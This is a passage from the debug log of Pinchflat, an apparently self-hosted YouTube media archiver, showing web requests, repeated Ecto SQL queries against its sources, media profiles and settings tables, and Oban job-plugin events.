s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:17:10.821 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1177.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 00:17:10.822 [debug] QUERY OK source="settings" db=0.1ms idle=1178.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:10.822 [debug] QUERY OK source="settings" db=0.3ms idle=1178.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:10.823 [debug] QUERY OK source="settings" db=0.2ms idle=695.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:10.829 [info] Sent 200 in 8ms 00:17:25.162 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:42.716 [info] GET /sources/5/edit 00:17:42.717 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 00:17:42.717 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=525.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 00:17:42.718 [debug] QUERY OK source="media_profiles" db=0.4ms idle=75.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 00:17:42.719 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=76.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:42.720 [debug] QUERY OK source="settings" db=0.2ms idle=76.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:42.721 [debug] QUERY OK source="settings" db=0.1ms idle=77.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:42.726 [info] Sent 200 in 10ms 00:17:55.164 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.140 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:18:15.695 [info] GET /sources/4/edit 00:18:15.696 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "4"} Pipelines: [:browser] 00:18:15.696 [debug] QUERY OK source="sources" db=0.4ms idle=1053.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:18:15.697 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=1053.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 00:18:15.698 [debug] QUERY OK source="settings" db=0.3ms idle=1055.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:18:15.699 [debug] QUERY OK source="settings" db=0.2ms idle=438.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:18:15.700 [debug] QUERY OK source="settings" db=0.2ms idle=56.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:18:15.706 [info] Sent 200 in 10ms 00:18:25.166 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:55.168 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.141 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:19:18.908 [info] GET / 00:19:18.908 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 00:19:18.909 [debug] QUERY OK source="settings" db=0.1ms idle=1265.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:19:18.909 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1266.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 00:19:18.910 [debug] QUERY OK source="sources" db=0.1ms idle=1266.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 00:19:18.911 [debug] QUERY OK source="media_items" db=0.7ms idle=520.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:19:18.912 [debug] QUERY OK source="media_items" db=0.9ms idle=268.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:19:18.913 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:19:18.913 [debug] QUERY OK source="settings" db=0.3ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:19:18.914 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:19:18.916 [debug] QUERY OK source="tasks" db=0.3ms idle=4.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 00:19:18.917 [debug] QUERY OK source="media_items" db=0.4ms idle=4.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:19:18.918 [debug] QUERY OK source="media_items" db=0.7ms idle=4.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:19:18.919 [debug] QUERY OK source="sources" db=0.4ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [4, 5] 00:19:18.926 [debug] QUERY OK source="media_items" db=2.6ms idle=9.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 00:19:18.927 [debug] QUERY OK source="media_items" db=1.2ms idle=10.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:19:18.928 [debug] QUERY OK source="sources" db=0.3ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:19:18.932 [info] Sent 200 in 24ms 00:19:25.170 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:38.249 [info] GET /media_profiles 00:19:38.249 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 00:19:38.251 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.5ms idle=1607.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 00:19:38.252 [debug] QUERY OK source="settings" db=0.3ms idle=1608.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:19:38.252 [debug] QUERY OK source="settings" db=0.2ms idle=1609.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:19:38.253 [debug] QUERY OK source="settings" db=0.2ms idle=1610.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:19:38.255 [info] Sent 200 in 6ms 00:19:55.172 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.142 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:20:25.174 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:37.743 [info] GET /media_profiles/2 00:20:37.744 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 00:20:37.744 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1101.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 00:20:37.745 [debug] QUERY OK source="sources" db=0.4ms idle=196.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 00:20:37.746 [debug] QUERY OK source="settings" db=0.3ms idle=102.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:20:37.746 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=103.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:20:37.748 [debug] QUERY OK source="settings" db=0.2ms idle=104.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:20:37.750 [info] Sent 200 in 6ms 00:20:55.176 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.143 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:21:01.600 [info] GET /media_profiles/1 00:21:01.600 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 00:21:01.601 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=1957.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:21:01.602 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1958.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 00:21:01.602 [debug] QUERY OK source="settings" db=0.1ms idle=1459.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:21:01.603 [debug] QUERY OK source="settings" db=0.1ms idle=1008.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:21:01.604 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:21:01.606 [info] Sent 200 in 6ms 00:21:13.332 [info] GET /sources/opml.xml 00:21:13.332 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.opml_feed/2 Parameters: %{"route_token" => "4868fc99-3263-4090-bf5c-aefca5fbeec7"} Pipelines: [:maybe_basic_auth, :token_protected_route] 00:21:13.333 [debug] QUERY OK source="settings" db=0.3ms idle=1689.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:21:13.334 [debug] QUERY OK source="sources" db=0.2ms idle=714.3ms SELECT s0."custom_name", s0."uuid" FROM "sources" AS s0 WHERE (s0."marked_for_deletion_at" IS NULL) ORDER BY s0."custom_name" [] 00:21:13.334 [info] Sent 200 in 1ms 00:21:25.178 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:55.180 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.144 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:22:25.182 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:55.184 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.145 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:23:25.186 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:33.813 [info] GET /settings 00:23:33.813 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 00:23:33.814 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1170.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:23:33.815 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1171.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:23:33.815 [debug] QUERY OK source="settings" db=0.2ms idle=1172.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:23:33.816 [debug] QUERY OK source="settings" db=0.2ms idle=1173.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:23:33.819 [info] Sent 200 in 6ms 00:23:55.188 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.146 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:24:04.000 [info] GET /app_info 00:24:04.000 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 00:24:04.001 [debug] QUERY OK source="settings" db=0.2ms idle=357.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", 